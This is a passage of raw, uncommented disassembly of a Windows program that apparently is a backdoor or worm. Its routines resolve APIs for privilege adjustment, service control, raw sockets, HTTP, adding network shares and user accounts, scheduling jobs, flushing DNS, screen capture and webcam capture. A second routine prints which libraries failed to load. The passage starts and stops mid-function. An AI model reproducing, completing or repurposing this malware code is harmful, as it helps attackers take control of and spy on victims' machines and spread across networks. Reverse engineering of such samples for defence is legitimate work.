		jz	short loc_408CC0
		cmp	ds:dword_43A32C, ebx
		jz	short loc_408CC0
		cmp	ds:dword_43A39C, ebx
		jz	short loc_408CC0
		cmp	ds:dword_43A284, ebx
		jz	short loc_408CC0
		cmp	ds:dword_43A2E4, ebx
		jz	short loc_408CC0
		cmp	eax, ebx
		jnz	short loc_408CCA


loc_408CC0:				; CODE XREF: sub_4089D6+2C4j
					; sub_4089D6+2CCj ...
		mov	ds:dword_43A448, 1


loc_408CCA:				; CODE XREF: sub_4089D6+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_43A35C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_43A334, eax
		call	esi
		cmp	ds:dword_43A35C, ebx
		mov	ds:dword_43A3E4, eax
		jz	short loc_408D05
		cmp	ds:dword_43A334, ebx
		jz	short loc_408D05
		cmp	eax, ebx
		jnz	short loc_408D0F


loc_408D05:				; CODE XREF: sub_4089D6+321j
					; sub_4089D6+329j
		mov	ds:dword_43A448, 1


loc_408D0F:				; CODE XREF: sub_4089D6+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_43A36C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_43A260, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_43A268, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_43A2C8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_43A2CC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_43A27C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_43A338, eax
		call	esi
		cmp	ds:dword_43A36C, ebx
		mov	ds:dword_43A26C, eax
		jz	short loc_408DB3
		cmp	ds:dword_43A260, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A268, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A2C8, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A2CC, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A27C, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A338, ebx
		jz	short loc_408DB3
		cmp	eax, ebx
		jnz	short loc_408DBD


loc_408DB3:				; CODE XREF: sub_4089D6+3A7j
					; sub_4089D6+3AFj ...
		mov	ds:dword_43A448, 1


loc_408DBD:				; CODE XREF: sub_4089D6+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_43A264, eax
		jnz	short loc_408DE5
		jmp	short loc_408DDB
; ---------------------------------------------------------------------------


loc_408DD0:				; CODE XREF: sub_4089D6+26Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A44C, eax


loc_408DDB:				; CODE XREF: sub_4089D6+3F8j
		mov	ds:dword_43A448, 1


loc_408DE5:				; CODE XREF: sub_4089D6+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408EB1
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_43A364, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_43A3BC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_43A3C4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_43A380, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_43A2A8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_43A254, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_43A3C0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_43A240, eax
		call	esi
		cmp	ds:dword_43A364, ebx
		mov	ds:dword_43A2DC, eax
		jz	short loc_408EBC
		cmp	ds:dword_43A3BC, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A3C4, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A380, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A2A8, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A254, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A3C0, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A240, ebx
		jz	short loc_408EBC
		cmp	eax, ebx
		jnz	short loc_408EC6
		jmp	short loc_408EBC
; ---------------------------------------------------------------------------


loc_408EB1:				; CODE XREF: sub_4089D6+41Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A454, eax


loc_408EBC:				; CODE XREF: sub_4089D6+49Bj
					; sub_4089D6+4A3j ...
		mov	ds:dword_43A450, 1


loc_408EC6:				; CODE XREF: sub_4089D6+4D7j
		mov	ebp, ds:dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409182
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_43A2F0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_43A41C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_43A294, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_43A270, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_43A324, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_43A30C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_43A2D8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_43A3F8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_43A414, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_43A320, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_43A404, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_43A3B8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_43A378, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_43A374, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_43A2B4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_43A2AC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_43A3C8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_43A3DC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_43A390, eax
		call	esi
		mov	ds:dword_43A350, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_43A3A4, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_43A360, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_43A3A0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_43A40C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_43A358, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43A31C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_43A38C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_43A3FC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_43A330, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_43A2D4, eax
		call	esi
		cmp	ds:dword_43A2F0, ebx
		mov	ds:dword_43A410, eax
		jz	loc_40918D
		cmp	ds:dword_43A41C, ebx
		jz	loc_40918D
		cmp	ds:dword_43A294, ebx
		jz	loc_40918D
		cmp	ds:dword_43A324, ebx
		jz	loc_40918D
		cmp	ds:dword_43A30C, ebx
		jz	loc_40918D
		cmp	ds:dword_43A2D8, ebx
		jz	loc_40918D
		cmp	ds:dword_43A3F8, ebx
		jz	loc_40918D
		cmp	ds:dword_43A414, ebx
		jz	loc_40918D
		cmp	ds:dword_43A320, ebx
		jz	loc_40918D
		cmp	ds:dword_43A404, ebx
		jz	loc_40918D
		cmp	ds:dword_43A3B8, ebx
		jz	loc_40918D
		cmp	ds:dword_43A378, ebx
		jz	loc_40918D
		cmp	ds:dword_43A374, ebx
		jz	loc_40918D
		cmp	ds:dword_43A2B4, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3C8, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3DC, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A390, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A350, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3A4, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A360, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3A0, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A40C, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A358, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A31C, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A38C, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A3FC, ebx
		jz	short loc_40918D
		cmp	ds:dword_43A330, ebx
		jz	short loc_40918D
		cmp	eax, ebx
		jnz	short loc_409197
		jmp	short loc_40918D
; ---------------------------------------------------------------------------


loc_409182:				; CODE XREF: sub_4089D6+501j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A45C, eax


loc_40918D:				; CODE XREF: sub_4089D6+6A0j
					; sub_4089D6+6ACj ...
		mov	ds:dword_43A458, 1


loc_409197:				; CODE XREF: sub_4089D6+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40929C
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_43A2BC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_43A248, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_43A340, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_43A2F4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_43A34C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_43A310, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_43A288, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_43A280, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_43A290, eax
		call	esi
		cmp	ds:dword_43A2BC, ebx
		mov	ecx, ds:dword_43A310
		mov	ds:dword_43A3AC, eax
		jz	short loc_409278
		cmp	ds:dword_43A248, ebx
		jz	short loc_409278
		cmp	ds:dword_43A340, ebx
		jz	short loc_409278
		cmp	ds:dword_43A2F4, ebx
		jz	short loc_409278
		cmp	ds:dword_43A34C, ebx
		jz	short loc_409278
		cmp	ecx, ebx
		jz	short loc_409278
		cmp	ds:dword_43A288, ebx
		jz	short loc_409278
		cmp	ds:dword_43A280, ebx
		jz	short loc_409278
		cmp	ds:dword_43A290, ebx
		jz	short loc_409278
		cmp	eax, ebx
		jnz	short loc_409282


loc_409278:				; CODE XREF: sub_4089D6+860j
					; sub_4089D6+868j ...
		mov	ds:dword_43A460, 1


loc_409282:				; CODE XREF: sub_4089D6+8A0j
		cmp	ecx, ebx
		jz	short loc_4092B7
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_43A328, eax
		jnz	short loc_4092B7
		jmp	short loc_4092B1
; ---------------------------------------------------------------------------


loc_40929C:				; CODE XREF: sub_4089D6+7CCj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A464, eax
		mov	ds:dword_43A460, 1


loc_4092B1:				; CODE XREF: sub_4089D6+8C4j
		mov	ds:dword_43A328, ebx


loc_4092B7:				; CODE XREF: sub_4089D6+8AEj
					; sub_4089D6+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409301
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_43A304, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_43A430, eax
		call	esi
		cmp	ds:dword_43A304, ebx
		mov	ds:dword_43A29C, eax
		jz	short loc_40930C
		cmp	ds:dword_43A430, ebx
		jz	short loc_40930C
		cmp	eax, ebx
		jnz	short loc_409316
		jmp	short loc_40930C
; ---------------------------------------------------------------------------


loc_409301:				; CODE XREF: sub_4089D6+8ECj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A46C, eax


loc_40930C:				; CODE XREF: sub_4089D6+91Bj
					; sub_4089D6+923j ...
		mov	ds:dword_43A468, 1


loc_409316:				; CODE XREF: sub_4089D6+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40940C
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_43A278, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_43A250, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_43A2C4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_43A2F8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_43A408, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_43A2B0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_43A25C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43A24C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_43A2E0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_43A3D0, eax
		call	esi
		cmp	ds:dword_43A278, ebx
		mov	ds:dword_43A388, eax
		jz	short loc_409417
		cmp	ds:dword_43A250, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2C4, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2F8, ebx
		jz	short loc_409417
		cmp	ds:dword_43A408, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2B0, ebx
		jz	short loc_409417
		cmp	ds:dword_43A25C, ebx
		jz	short loc_409417
		cmp	ds:dword_43A24C, ebx
		jz	short loc_409417
		cmp	ds:dword_43A2E0, ebx
		jz	short loc_409417
		cmp	ds:dword_43A3D0, ebx
		jz	short loc_409417
		cmp	eax, ebx
		jnz	short loc_409421
		jmp	short loc_409417
; ---------------------------------------------------------------------------


loc_40940C:				; CODE XREF: sub_4089D6+94Bj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A474, eax


loc_409417:				; CODE XREF: sub_4089D6+9E6j
					; sub_4089D6+9EEj ...
		mov	ds:dword_43A470, 1


loc_409421:				; CODE XREF: sub_4089D6+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409456
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_43A2A0, eax
		call	esi
		cmp	ds:dword_43A2A0, ebx
		mov	ds:dword_43A370, eax
		jz	short loc_409461
		cmp	eax, ebx
		jnz	short loc_40946B
		jmp	short loc_409461
; ---------------------------------------------------------------------------


loc_409456:				; CODE XREF: sub_4089D6+A56j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A47C, eax


loc_409461:				; CODE XREF: sub_4089D6+A78j
					; sub_4089D6+A7Ej
		mov	ds:dword_43A478, 1


loc_40946B:				; CODE XREF: sub_4089D6+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094A0
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_43A3F4, eax
		call	esi
		cmp	ds:dword_43A3F4, ebx
		mov	ds:dword_43A3F0, eax
		jz	short loc_4094AB
		cmp	eax, ebx
		jnz	short loc_4094B5
		jmp	short loc_4094AB
; ---------------------------------------------------------------------------


loc_4094A0:				; CODE XREF: sub_4089D6+AA0j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A484, eax


loc_4094AB:				; CODE XREF: sub_4089D6+AC2j
					; sub_4089D6+AC8j
		mov	ds:dword_43A480, 1


loc_4094B5:				; CODE XREF: sub_4089D6+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409514
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_43A420, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_43A418, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_43A3E0, eax
		call	esi
		cmp	ds:dword_43A420, ebx
		mov	ds:dword_43A2B8, eax
		jz	short loc_40951F
		cmp	ds:dword_43A418, ebx
		jz	short loc_40951F
		cmp	ds:dword_43A3E0, ebx
		jz	short loc_40951F
		cmp	eax, ebx
		jnz	short loc_409529
		jmp	short loc_40951F
; ---------------------------------------------------------------------------


loc_409514:				; CODE XREF: sub_4089D6+AEAj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A48C, eax


loc_40951F:				; CODE XREF: sub_4089D6+B26j
					; sub_4089D6+B2Ej ...
		mov	ds:dword_43A488, 1


loc_409529:				; CODE XREF: sub_4089D6+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40955E
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_43A2EC, eax
		call	esi
		cmp	ds:dword_43A2EC, ebx
		mov	ds:dword_43A3EC, eax
		jz	short loc_409569
		cmp	eax, ebx
		jnz	short loc_409573
		jmp	short loc_409569
; ---------------------------------------------------------------------------


loc_40955E:				; CODE XREF: sub_4089D6+B5Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A494, eax


loc_409569:				; CODE XREF: sub_4089D6+B80j
					; sub_4089D6+B86j
		mov	ds:dword_43A490, 1


loc_409573:				; CODE XREF: sub_4089D6+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4095FC
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_43A3B4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_43A400, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43A33C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_43A2FC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_43A394, eax
		call	esi
		cmp	ds:dword_43A3B4, ebx
		mov	ds:dword_43A308, eax
		jz	short loc_409607
		cmp	ds:dword_43A400, ebx
		jz	short loc_409607
		cmp	ds:dword_43A33C, ebx
		jz	short loc_409607
		cmp	ds:dword_43A2FC, ebx
		jz	short loc_409607
		cmp	ds:dword_43A394, ebx
		jz	short loc_409607
		cmp	eax, ebx
		jnz	short loc_409611
		jmp	short loc_409607
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_4089D6+BA8j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A49C, eax


loc_409607:				; CODE XREF: sub_4089D6+BFEj
					; sub_4089D6+C06j ...
		mov	ds:dword_43A498, 1


loc_409611:				; CODE XREF: sub_4089D6+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409646
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_43A2D0, eax
		call	esi
		cmp	ds:dword_43A2D0, ebx
		mov	ds:dword_43A3A8, eax
		jz	short loc_409651
		cmp	eax, ebx
		jnz	short loc_40965B
		jmp	short loc_409651
; ---------------------------------------------------------------------------


loc_409646:				; CODE XREF: sub_4089D6+C46j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A4A4, eax


loc_409651:				; CODE XREF: sub_4089D6+C68j
					; sub_4089D6+C6Ej
		mov	ds:dword_43A4A0, 1


loc_40965B:				; CODE XREF: sub_4089D6+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4089D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409663	proc near		; CODE XREF: seg000:00412034p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_43A438, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4096AB
		push	ds:dword_43A43C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4096AB:				; CODE XREF: sub_409663+1Aj
		cmp	ds:dword_43A440, esi
		jz	short loc_4096DF
		push	ds:dword_43A444
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4096DF:				; CODE XREF: sub_409663+4Ej
		cmp	ds:dword_43A448, esi
		jz	short loc_409713
		push	ds:dword_43A44C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_409713:				; CODE XREF: sub_409663+82j
		cmp	ds:dword_43A450, esi
		jz	short loc_409747
		push	ds:dword_43A454
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_409747:				; CODE XREF: sub_409663+B6j
		cmp	ds:dword_43A458, esi
		jz	short loc_40977B
		push	ds:dword_43A45C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40977B:				; CODE XREF: sub_409663+EAj
		cmp	ds:dword_43A460, esi
		jz	short loc_4097AF
		push	ds:dword_43A464
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4097AF:				; CODE XREF: sub_409663+11Ej
		cmp	ds:dword_43A468, esi
		jz	short loc_4097E3
		push	ds:dword_43A46C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4097E3:				; CODE XREF: sub_409663+152j
		cmp	ds:dword_43A470, esi
		jz	short loc_409817
		push	ds:dword_43A474
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_409817:				; CODE XREF: sub_409663+186j
		cmp	ds:dword_43A478, esi
		jz	short loc_40984B
		push	ds:dword_43A47C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40984B:				; CODE XREF: sub_409663+1BAj
		cmp	ds:dword_43A480, esi
		jz	short loc_40987F
		push	ds:dword_43A484
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40987F:				; CODE XREF: sub_409663+1EEj
		cmp	ds:dword_43A488, esi
		jz	short loc_4098B3
		push	ds:dword_43A48C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4098B3:				; CODE XREF: sub_409663+222j
		cmp	ds:dword_43A490, esi
		jz	short loc_4098E7
		push	ds:dword_43A494
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_4098E7:				; CODE XREF: sub_409663+256j
		cmp	ds:dword_43A498, esi
		jz	short loc_40991B
		push	ds:dword_43A49C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40991B:				; CODE XREF: sub_409663+28Aj
		cmp	ds:dword_43A4A0, esi
		jz	short loc_40994F
		push	ds:dword_43A4A4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
